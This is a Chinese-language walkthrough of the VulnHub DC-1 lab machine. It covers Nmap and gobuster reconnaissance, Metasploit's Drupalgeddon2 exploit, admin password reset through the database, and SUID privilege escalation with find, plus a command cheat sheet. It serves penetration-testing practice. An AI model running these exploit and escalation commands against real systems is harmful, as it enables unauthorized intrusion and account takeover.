VulnHub靶机之dc-1
字数 1492 2025-08-10 20:35:57
DC-1 靶机渗透测试详细教程
一、信息收集阶段
1. Nmap 扫描
快速扫描命令:
nmap -T4 -F <靶机IP>
深度扫描命令:
nmap -sV -sC -O -p- <靶机IP>
关键扫描结果分析:
- Web服务器版本信息
- CMS平台类型和版本(Drupal 7)
- 开放端口和服务
- 可能的敏感信息文件
2. 敏感目录扫描
常用工具:
- dirb
- dirbuster
- gobuster
扫描命令示例:
gobuster dir -u http://<靶机IP> -w /path/to/wordlist.txt
重点关注:
- 管理后台路径
- 配置文件路径
- 版本信息文件
- 备份文件
3. 网页源码分析
检查点:
- HTML注释中的敏感信息
- JavaScript文件中的路径
- 表单提交的目标地址
- 隐藏字段
二、威胁建模
Drupal CMS 漏洞分析
已知漏洞:
- Drupal 6,7,8 多个子版本存在远程代码执行漏洞(2018年3月28日公布)
- CVE编号:CVE-2018-7600(Drupalgeddon2)
漏洞利用方式:
- 使用Metasploit框架
- 使用公开的exploit脚本
三、渗透测试实施
1. 初始攻击
Metasploit利用步骤:
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS <靶机IP>
set TARGETURI /
exploit
成功标志:
- 获得meterpreter会话
- 建立反向连接
2. 系统信息收集
关键命令:
whoami # 查看当前用户
uname -a # 查看内核版本
find / -perm -4000 -type f 2>/dev/null # 查找SUID文件
3. 查找flag和敏感文件
Drupal目录结构:
/sites/default/settings.php # 主配置文件
/sites/default/default.settings.php
/scripts/ # 脚本目录
查找flag顺序:
- 网站根目录下的flag1
- settings.php中的flag2和数据库凭据
- 数据库中的flag3
- 其他目录中的flag4
4. 数据库操作
访问MySQL数据库:
mysql -u<用户名> -p<密码> <数据库名>
关键表:
- users表:存储用户凭据
- node表:存储内容
密码重置方法:
使用Drupal自带的脚本:
php scripts/password-hash.sh <新密码>
然后在数据库中更新users表:
UPDATE users SET pass='<哈希后的密码>' WHERE uid=1;
5. 权限提升
SUID提权方法:
find / -perm -4000 -type f 2>/dev/null
常用SUID提权二进制:
- find
- vim
- bash
- nmap
- more/less
使用find提权:
touch /tmp/exploit
find /tmp/exploit -exec "/bin/sh" \;
四、难点与解决方案
-
脚本选择问题:
- 优先使用Metasploit中的模块
- 测试多个公开exploit脚本
-
目录结构不熟悉:
- 查阅Drupal官方文档
- 使用资源共享获取信息
-
密码破解受阻:
- 尝试使用CMS自带脚本重置密码
- 不依赖在线解密工具
-
提权命令不熟悉:
- 研究SUID权限机制
- 练习常见提权方法
五、总结与收获
-
敏感性培养:
- 重视Nmap扫描结果的每个细节
- CMS版本信息是关键突破口
-
渗透思路扩展:
- CMS漏洞利用标准化流程
- 从Web到系统的完整攻击链
-
技术手段掌握:
- Metasploit模块使用
- CMS密码重置方法
- SUID提权技术
-
方法论总结:
信息收集 → 漏洞识别 → 初始入侵 → 横向移动 → 权限提升 → 目标达成
附录:常用命令速查表
| 用途 | 命令 |
|---|---|
| 快速扫描 | nmap -T4 -F <IP> |
| 全面扫描 | nmap -sV -sC -O -p- <IP> |
| 目录扫描 | gobuster dir -u http://<IP> -w wordlist.txt |
| Drupal漏洞利用 | use exploit/unix/webapp/drupal_drupalgeddon2 |
| 查找SUID文件 | find / -perm -4000 -type f 2>/dev/null |
| 密码哈希生成 | php scripts/password-hash.sh <password> |
| 数据库更新密码 | UPDATE users SET pass='<hash>' WHERE uid=1; |
| find提权 | find /tmp/exploit -exec "/bin/sh" \; |